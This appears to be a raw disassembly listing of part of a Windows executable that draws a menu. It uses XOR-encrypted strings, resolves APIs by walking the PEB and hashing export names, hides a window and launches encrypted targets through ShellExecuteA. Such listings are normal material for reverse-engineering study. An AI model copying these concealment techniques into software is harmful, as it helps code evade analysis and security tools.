je 0x140056efe
cmp byte [0x1402b13f8], r14b
je 0x140056efe
cmp byte [0x1402b13fa], r14b
je 0x140056efe
cmp byte [0x1402b13fb], r14b
je 0x140056efe
movabs rax, 0xac644549908f057f
mov qword [rbp + 0x1a80], rbx
mov qword [rbp + 0x390], rax
lea rdx, [rbp - 0x80]
movabs rax, 0xdba4b402c8ec1c59
mov qword [rbp + 0x1a88], rdi
movdqa xmm0, xmmword [rbp + 0x1a80]
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x398], rax
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm0
mov byte [rbp - 0x80], 0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056efe
mov byte [0x1402b13fd], 0
mov dword [0x1402b18dc], r14d
jmp 0x140056efe
movabs rbx, 0xca17362cf3ec702c
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [0x1402b1528]
lea rcx, [rbp + 0x10e8]
call fcn.14004ede0
mov rdx, rax
lea rcx, [0x1402b1548]
call fcn.14000b210
lea rcx, [rbp + 0x10e8]
call fcn.140009ab0
xor eax, eax
mov qword [rbp + 0x118], rdi
xorps xmm0, xmm0
mov qword [rbp + 0x12f0], rax
movups xmmword [rbp + 0x12e0], xmm0
movabs rax, 0xca17362cf3ec7017
mov qword [rbp + 0x1a70], rbx
mov qword [rbp + 0x110], rax
mov r8, 0xffffffffffffffff
xor eax, eax
mov qword [rbp + 0x1a78], rdi
movdqa xmm0, xmmword [rbp + 0x1a70]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x110], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xbf0], rax
mov qword [rbp + 0xbf8], rax
lea rax, [rbp + 0x110]
movups xmmword [rbp + 0xbe0], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056fb2
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xbe0]
call fcn.140042620
lea r8, [rbp + 0xbe0]
lea rdx, [0x1402b1548]
lea rcx, [rbp + 0x12e0]
call fcn.14009e3a0
lea rcx, [rbp + 0xbe0]
call fcn.140009ab0
cmp dword [0x1402b18dc], r14d
jne 0x140057e21
movabs rax, 0xad76660c81890379
mov qword [rbp + 0x1a60], rbx
mov qword [rbp + 0x3b0], rax
lea rcx, [rbp + 0xd48]
movabs rax, 0xdba4b42cb1807049
mov qword [rbp + 0x1a68], rdi
movdqa xmm0, xmmword [rbp + 0x1a60]
mov qword [rbp + 0x3b8], rax
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x3b0], xmm0
movaps xmm0, xmmword [0x140108aa0]
movups xmmword [rbp + 0xd48], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x3a0]
addss xmm6, dword [0x140108a54]
mov ebx, eax
mov qword [rbp + 0x1a58], rdi
movabs rax, 0xad76660c81890379
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x3a0], rax
lea rcx, [rbp + 0xdd8]
movabs rax, 0xdba4b42cb1807049
xor r9d, r9d
mov qword [rbp + 0x3a8], rax
xor r8d, r8d
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1a50], rax
movdqa xmm0, xmmword [rbp + 0x1a50]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm0
call fcn.14005fb90
lea r9, [rbp + 0x3b0]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x60]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, dword [0x140108a2c]
movss dword [rbp + 0x60], xmm6
movss dword [rbp + 0x64], xmm0
call fcn.140074db0
mov rcx, qword [0x1402b1948]
call fcn.14006b090
cmp dword [0x1402b1944], 0
jne 0x140057e1c
cmp byte [0x1402b1940], 0
jne 0x14005716c
cmp byte [0x1402b1941], 0
jne 0x14005716c
cmp byte [0x1402b1942], 0
jne 0x14005716c
cmp byte [0x1402b1943], 0
je 0x140057870
movabs rax, 0xba7e444f808e057f
mov qword [rbp + 0x1a48], rdi
mov qword [rbp + 0x3d0], rax
lea rcx, [rbp + 0xd58]
movabs rax, 0xdba49416dfef1958
mov qword [rbp + 0x3d8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1a40], rax
movdqa xmm0, xmmword [rbp + 0x1a40]
xorps xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x3d0], xmm0
movaps xmm0, xmmword [0x140108b00]
movups xmmword [rbp + 0xd58], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x3c0]
addss xmm6, dword [0x140108a4c]
mov ebx, eax
mov qword [rbp + 0x1a38], rdi
movabs rax, 0xba7e444f808e057f
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x3c0], rax
lea rcx, [rbp + 0xde0]
movabs rax, 0xdba49416dfef1958
xor r9d, r9d
mov qword [rbp + 0x3c8], rax
xor r8d, r8d
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1a30], rax
movdqa xmm0, xmmword [rbp + 0x1a30]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
call fcn.14005fb90
lea r9, [rbp + 0x3d0]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x68]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm15
movss dword [rbp + 0x68], xmm6
movss dword [rbp + 0x6c], xmm0
call fcn.140074db0
mov qword [rbp + 0x3f8], rdi
lea rcx, [rbp + 0xd68]
movabs rax, 0xca17362cccd34f13
mov qword [rbp + 0x1a28], rdi
mov qword [rbp + 0x3f0], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1a20], rax
movdqa xmm0, xmmword [rbp + 0x1a20]
xorps xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x3f0], xmm0
movaps xmm0, xmmword [0x140108ab0]
movups xmmword [rbp + 0xd68], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x3e0]
addss xmm6, dword [0x140108a5c]
mov ebx, eax
mov qword [rbp + 0x3e8], rdi
movabs rax, 0xca17362cccd34f13
mov qword [rbp + 0x1a18], rdi
mov qword [rbp + 0x3e0], rax
lea rcx, [rbp + 0xde8]
movabs rax, 0xca17362cf3ec702c
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x1a10], rax
xor r9d, r9d
movdqa xmm0, xmmword [rbp + 0x1a10]
xor r8d, r8d
xorps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x3e0], xmm0
call fcn.14005fb90
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss dword [rbp + 0x70], xmm6
movss xmm0, dword [0x1402b1924]
lea r9, [rbp + 0x3f0]
addss xmm0, xmm15
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x70]
mov rcx, rsi
movss dword [rbp + 0x74], xmm0
call fcn.140074db0
mov qword [rbp + 0x418], rdi
lea rcx, [rbp + 0xd78]
movabs rax, 0xea2d4559878d047f
mov qword [rbp + 0x1a08], rdi
mov qword [rbp + 0x410], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1a00], rax
movdqa xmm0, xmmword [rbp + 0x1a00]
xorps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [0x140108b00]
movups xmmword [rbp + 0xd78], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x400]
addss xmm6, dword [0x140108a48]
mov ebx, eax
mov qword [rbp + 0x408], rdi
movabs rax, 0xea2d4559878d047f
mov qword [rbp + 0x1978], rdi
mov qword [rbp + 0x400], rax
lea rcx, [rbp + 0xdf0]
movabs rax, 0xca17362cf3ec702c
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x1970], rax
xor r9d, r9d
movdqa xmm0, xmmword [rbp + 0x1970]
xor r8d, r8d
xorps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x400], xmm0
call fcn.14005fb90
lea r9, [rbp + 0x410]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x78]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm14
movss dword [rbp + 0x78], xmm6
movss dword [rbp + 0x7c], xmm0
call fcn.140074db0
mov rbx, qword [rbp + 0x12e0]
add rbx, 0x20
cmp qword [rbx + 0x18], 0x10
jb 0x1400574e9
mov rbx, qword [rbx]
movaps xmm0, xmmword [0x140108ab0]
lea rcx, [rbp + 0xd88]
movups xmmword [rbp + 0xd88], xmm0
call fcn.140060a60
mov rdx, qword [rbp + 0x12e0]
mov edi, eax
add rdx, 0x20
cmp qword [rdx + 0x18], 0x10
jb 0x14005751a
mov rdx, qword [rdx]
movss xmm6, dword [0x1402b1920]
lea rcx, [rbp + 0xdf8]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
addss xmm6, xmm13
call fcn.14005fb90
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8d, edi
lea rdx, [rbp + 0x80]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm14
movss dword [rbp + 0x80], xmm6
movss dword [rbp + 0x84], xmm0
call fcn.140074db0
lea rcx, [rbp + 0x88]
mov dword [rbp + 0x88], 0x430c0000
mov dword [rbp + 0x8c], 0x433e0000
call fcn.14006e1b0
movabs rax, 0xa5591658818d047f
mov dword [rbp + 0x90], 0x439d8000
mov qword [rbp + 0x420], rax
lea rdx, [rbp + 0x90]
movabs rax, 0xdba4b42cb180705b
mov dword [rbp + 0x94], 0x41f00000
mov qword [rbp + 0x428], rax
lea rcx, [rbp + 0x420]
movabs rax, 0xca17362cf3ec702c
movabs rdi, 0xdba4b42cb180702c
mov qword [rbp + 0x18f0], rax
mov qword [rbp + 0x18f8], rdi
movdqa xmm0, xmmword [rbp + 0x18f0]
xorps xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x420], xmm0
call fcn.140084550
test al, al
je 0x140057870
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400506d0]
lea rcx, [rbp + 0x1350]
call fcn.14004f310
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400576d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400576d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400576d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400576b0
cmp r8d, 0x23a979e4
je 0x1400576dc
test r9d, r9d
jne 0x140057690
mov rax, qword [rax]
jmp 0x140057660
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1108]
add rbx, r10
call fcn.14009c300
cmp qword [rax + 0x18], 0x10
jb 0x14005770e
mov rax, qword [rax]
movabs rdx, 0x75018c2cab10702c
movabs rcx, 0xb876425fd39b1f62
mov qword [rbp + 0x6d0], rcx
movabs rdi, 0xdba4b42cb180702c
mov qword [rbp + 0x6f8], rdx
movabs rcx, 0xbac39449d9f45058
mov qword [rbp + 0x6d8], rcx
mov r9d, 0x1000
mov qword [rbp + 0x1b98], rdx
movabs rcx, 0x58023c6d3dfa1541
mov qword [rbp + 0x6e0], rcx
lea rdx, [rbp + 0x6d0]
movabs rcx, 0xee72205f9eed025c
mov qword [rbp + 0x1b78], rdi
mov qword [rbp + 0x6e8], rcx
mov r8, rax
movdqa xmm1, xmmword [rbp + 0x6e0]
movabs rcx, 0xdf214e2c58fc7002
mov qword [rbp + 0x6f0], rcx
movabs rcx, 0xca17362cf3ec702c
mov qword [rbp + 0x1b70], rcx
movabs rcx, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x1b70]
xorps xmm0, xmmword [rbp + 0x6d0]
mov qword [rbp + 0x1b80], rcx
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x1b88], rcx
movabs rcx, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x1b80]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm0, xmmword [rbp + 0x6f0]
mov qword [rbp + 0x1b90], rcx
xor ecx, ecx
xorps xmm0, xmmword [rbp + 0x1b90]
movdqa xmmword [rbp + 0x6f0], xmm0
movdqa xmmword [rbp + 0x6e0], xmm1
call rbx
lea rcx, [rbp + 0x1108]
call fcn.140009ab0
cmp dword [rbp + 0x1358], 0
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x1350]
lea rcx, [rbp + 0x1890]
movdqa xmmword [rbp + 0x1890], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1350], xmm0
movabs rax, 0xea64535e9a9c0869
mov qword [rbp + 0x1908], rdi
mov qword [rbp + 0x440], rax
lea rcx, [rbp + 0xd98]
movabs rax, 0xdba4b42c91ba1e45
mov qword [rbp + 0x448], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1900], rax
movdqa xmm0, xmmword [rbp + 0x1900]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x140108ab0]
movups xmmword [rbp + 0xd98], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x430]
addss xmm6, dword [0x140108a44]
mov ebx, eax
mov qword [rbp + 0x1918], rdi
movabs rax, 0xf064535e9a9c0869
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x430], rax
lea rcx, [rbp + 0xe00]
movabs rax, 0xdba4b42cb180700c
xor r9d, r9d
mov qword [rbp + 0x438], rax
xor r8d, r8d
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1910], rax
movdqa xmm0, xmmword [rbp + 0x1910]
xorps xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x430], xmm0
call fcn.14005fb90
lea r9, [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x98]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm9
movss dword [rbp + 0x98], xmm6
movss dword [rbp + 0x9c], xmm0
call fcn.140074db0
mov rbx, qword [rbp + 0x12e0]
add rbx, 0x40
cmp qword [rbx + 0x18], 0x10
jb 0x1400579be
mov rbx, qword [rbx]
movaps xmm0, xmmword [0x140108b00]
lea rcx, [rbp + 0xda8]
movups xmmword [rbp + 0xda8], xmm0
call fcn.140060a60
mov rdx, qword [rbp + 0x12e0]
mov edi, eax
add rdx, 0x40
cmp qword [rdx + 0x18], 0x10
jb 0x1400579ef
mov rdx, qword [rdx]
movss xmm6, dword [0x1402b1920]
lea rcx, [rbp + 0xca0]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
addss xmm6, xmm13
call fcn.14005fb90
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8d, edi
lea rdx, [rbp + 0xa0]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm9
movss dword [rbp + 0xa0], xmm6
movss dword [rbp + 0xa4], xmm0
call fcn.140074db0
lea rcx, [rbp + 0xa8]
mov dword [rbp + 0xa8], 0x430c0000
mov dword [rbp + 0xac], 0x43870000
call fcn.14006e1b0
movabs rdi, 0xdba4b42cb180702c
mov dword [rbp + 0xb0], 0x439d8000
mov qword [rbp + 0x458], rdi
lea rdx, [rbp + 0xb0]
movabs rax, 0xca634363d38b1f60
mov qword [rbp + 0x1928], rdi
mov qword [rbp + 0x450], rax
lea rcx, [rbp + 0x450]
movabs rbx, 0xca17362cf3ec702c
mov dword [rbp + 0xb4], 0x41f00000
mov qword [rbp + 0x1920], rbx
movdqa xmm0, xmmword [rbp + 0x1920]
xorps xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x450], xmm0
call fcn.140084550
xor esi, esi
test al, al
je 0x140057b00
mov dword [0x1402b18dc], esi
lea rcx, [rbp + 0xb8]
mov dword [rbp + 0xb8], 0x430c0000
mov dword [rbp + 0xbc], 0x43660000
call fcn.14006e1b0
mov qword [rbp + 0x468], rdi
lea rdx, [rbp + 0xc0]
movabs rax, 0xca17362cf3ec3b7a
mov qword [rbp + 0x1930], rbx
mov qword [rbp + 0x460], rax
lea rcx, [rbp + 0x460]
mov qword [rbp + 0x1938], rdi
movdqa xmm0, xmmword [rbp + 0x1930]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x460], xmm0
mov dword [rbp + 0xc0], 0x431b0000
mov dword [rbp + 0xc4], 0x41f00000
call fcn.140084550
test al, al
je 0x140057c8e
mov qword [rbp + 0x478], rdi
lea r8, [rbp + 0x5d0]
movabs rax, 0xe5380c5f83980444
mov qword [rbp + 0x1de0], rbx
mov qword [rbp + 0x5d0], rax
lea rdx, [rbp + 0x470]
movabs rax, 0xa88bd943d2ae1b5a
mov qword [rbp + 0x1de8], rdi
movdqa xmm0, xmmword [rbp + 0x1de0]
xor r9d, r9d
mov qword [rbp + 0x5d8], rax
xor ecx, ecx
xorps xmm0, xmmword [rbp + 0x5d0]
movabs rax, 0x19033a4f6db11558
mov qword [rbp + 0x5e0], rax
movabs rax, 0xdc34002ced887058
mov qword [rbp + 0x5e8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm1, xmmword [rbp + 0x5e0]
mov qword [rbp + 0x1df0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x1df8], rax
movabs rax, 0xca17362c9d890043
xorps xmm1, xmmword [rbp + 0x1df0]
movdqa xmmword [rbp + 0x5d0], xmm0
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x1940], rbx
mov qword [rbp + 0x1948], rdi
movdqa xmm0, xmmword [rbp + 0x1940]
xorps xmm0, xmmword [rbp + 0x470]
mov dword [rsp + 0x28], r14d
movdqa xmmword [rbp + 0x470], xmm0
movdqa xmmword [rbp + 0x5e0], xmm1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0xc8]
mov dword [rbp + 0xc8], 0x43960000
mov dword [rbp + 0xcc], 0x43660000
call fcn.14006e1b0
mov qword [rbp + 0x488], rdi
lea rdx, [rbp + 0xd0]
movabs rax, 0xca734443909f1968
mov qword [rbp + 0x1950], rbx
mov qword [rbp + 0x480], rax
lea rcx, [rbp + 0x480]
mov qword [rbp + 0x1958], rdi
movdqa xmm0, xmmword [rbp + 0x1950]
xorps xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x480], xmm0
mov dword [rbp + 0xd0], 0x431b0000
mov dword [rbp + 0xd4], 0x41f00000
call fcn.140084550
test al, al
je 0x140057e1c
mov qword [rbp + 0x498], rdi
lea r8, [rbp + 0x5b0]
movabs rax, 0xe5380c5f83980444
mov qword [rbp + 0x1e00], rbx
mov qword [rbp + 0x5b0], rax
lea rdx, [rbp + 0x490]
movabs rax, 0xf5c0c643d2f31948
mov qword [rbp + 0x1e08], rdi
movdqa xmm0, xmmword [rbp + 0x1e00]
xor r9d, r9d
mov qword [rbp + 0x5b8], rax
xor ecx, ecx
xorps xmm0, xmmword [rbp + 0x5b0]
movabs rax, 0x1a2307627efb174b
mov qword [rbp + 0x5c0], rax
movabs rax, 0xdc34002ced880447
mov qword [rbp + 0x5c8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm1, xmmword [rbp + 0x5c0]
mov qword [rbp + 0x1e10], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x1e18], rax
movabs rax, 0xca17362c9d890043
xorps xmm1, xmmword [rbp + 0x1e10]
movdqa xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x490], rax
mov qword [rbp + 0x1960], rbx
mov qword [rbp + 0x1968], rdi
movdqa xmm0, xmmword [rbp + 0x1960]
xorps xmm0, xmmword [rbp + 0x490]
mov dword [rsp + 0x28], r14d
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmmword [rbp + 0x5c0], xmm1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.14006ac80
mov rax, qword [rbp + 0x12e8]
mov rbx, qword [rbp + 0x12e0]
sub rax, rbx
sar rax, 5
test eax, eax
jle 0x14005874b
xor esi, esi
cmp eax, 3
jne 0x14005abea
nop dword [rax]
movabs rax, 0x8e37070c879f057e
mov qword [rbp + 0x1988], rdi
mov qword [rbp + 0x4a0], rax
lea rdx, [rbp + 0x4a0]
movabs rax, 0xdba4b42cb180094d
mov rcx, rbx
mov qword [rbp + 0x4a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1980], rax
movdqa xmm0, xmmword [rbp + 0x1980]
xorps xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x4a0], xmm0
call fcn.14004f3a0
test al, al
je 0x14005808c
mov qword [rbp + 0x4b8], rdi
lea rdx, [rbp + 0x4b0]
movabs rax, 0xae72424f96981548
mov qword [rbp + 0x1998], rdi
mov qword [rbp + 0x4b0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1990], rax
movdqa xmm0, xmmword [rbp + 0x1990]
xorps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x4b0], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005901a
movabs rax, 0xbe76525c86cc1e43
lea rdx, [rbp + 0x4c0]
mov qword [rbp + 0x4c0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1807049
mov qword [rbp + 0x4c8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x19a0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x19a8], rax
movdqa xmm0, xmmword [rbp + 0x19a0]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x4c0], xmm0
call fcn.14004f3a0
test al, al
jne 0x140058dca
movabs rax, 0xae725a4e929f1948
lea rdx, [rbp + 0x4d0]
mov qword [rbp + 0x4d0], rax
movabs rcx, 0xca17362cf3ec702c
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x19b0], rcx
mov qword [rbp + 0x4d8], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x19b8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
xorps xmm0, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0x4d0], xmm0
call fcn.14004f3a0
test al, al
jne 0x140058b71
movabs rax, 0xbe74535896881e59
lea rdx, [rbp + 0x4e0]
mov qword [rbp + 0x4e0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1801449
mov qword [rbp + 0x4e8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x18e0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x18e8], rax
movdqa xmm0, xmmword [rbp + 0x18e0]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x4e0], xmm0
call fcn.14004f3a0
test al, al
je 0x1400589e5
mov byte [0x1402b1940], r14b
movabs rdi, 0xdba4b42cb180702c
mov byte [0x1402b1941], 0
mov byte [0x1402b1942], 0
mov byte [0x1402b1943], 0
movabs rax, 0x8e37010c879f057e
mov qword [rbp + 0x19c8], rdi
mov qword [rbp + 0x4f0], rax
lea rdx, [rbp + 0x4f0]
movabs rax, 0xdba4b42cb1f3094d
mov rcx, rbx
mov qword [rbp + 0x4f8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x19c0], rax
movdqa xmm0, xmmword [rbp + 0x19c0]
xorps xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x4f0], xmm0
call fcn.14004f3a0
test al, al
je 0x1400582c8
mov qword [rbp + 0x508], rdi
lea rdx, [rbp + 0x500]
movabs rax, 0xae72424f96981548
mov qword [rbp + 0x19e8], rdi
mov qword [rbp + 0x500], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x19e0], rax
movdqa xmm0, xmmword [rbp + 0x19e0]
xorps xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x500], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005989a
movabs rax, 0xbe76525c86cc1e43
lea rdx, [rbp + 0x180]
mov qword [rbp + 0x180], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1807049
mov qword [rbp + 0x188], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x19f0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x19f8], rax
movdqa xmm0, xmmword [rbp + 0x19f0]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005964a
movabs rax, 0xae725a4e929f1948
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x190], rax
movabs rcx, 0xca17362cf3ec702c
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1c10], rcx
mov qword [rbp + 0x198], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x1c18], rax
movdqa xmm0, xmmword [rbp + 0x1c10]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
call fcn.14004f3a0
test al, al
jne 0x1400593f0
movabs rax, 0xbe74535896881e59
lea rdx, [rbp + 0x1a0]
mov qword [rbp + 0x1a0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1801449
mov qword [rbp + 0x1a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c20], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1c28], rax
movdqa xmm0, xmmword [rbp + 0x1c20]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
call fcn.14004f3a0
test al, al
je 0x14005926a
mov byte [0x1402b1940], 0
movabs rdi, 0xdba4b42cb180702c
mov byte [0x1402b1941], r14b
mov byte [0x1402b1942], 0
mov byte [0x1402b1943], 0
movabs rax, 0xea22070c879f057e
mov qword [rbp + 0x1c38], rdi
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1b0]
movabs rax, 0xdba4b42cc2f91168
mov rcx, rbx
mov qword [rbp + 0x1b8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c30], rax
movdqa xmm0, xmmword [rbp + 0x1c30]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x1b0], xmm0
call fcn.14004f3a0
test al, al
je 0x140058504
mov qword [rbp + 0x1c8], rdi
lea rdx, [rbp + 0x1c0]
movabs rax, 0xae72424f96981548
mov qword [rbp + 0x1c48], rdi
mov qword [rbp + 0x1c0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c40], rax
movdqa xmm0, xmmword [rbp + 0x1c40]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1c0], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005a11a
movabs rax, 0xbe76525c86cc1e43
lea rdx, [rbp + 0x1d0]
mov qword [rbp + 0x1d0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1807049
mov qword [rbp + 0x1d8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c50], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1c58], rax
movdqa xmm0, xmmword [rbp + 0x1c50]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1d0], xmm0
call fcn.14004f3a0
test al, al
jne 0x140059eca
movabs rax, 0xae725a4e929f1948
lea rdx, [rbp + 0x1e0]
mov qword [rbp + 0x1e0], rax
movabs rcx, 0xca17362cf3ec702c
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1c60], rcx
mov qword [rbp + 0x1e8], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x1c68], rax
movdqa xmm0, xmmword [rbp + 0x1c60]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
call fcn.14004f3a0
test al, al
jne 0x140059c70
movabs rax, 0xbe74535896881e59
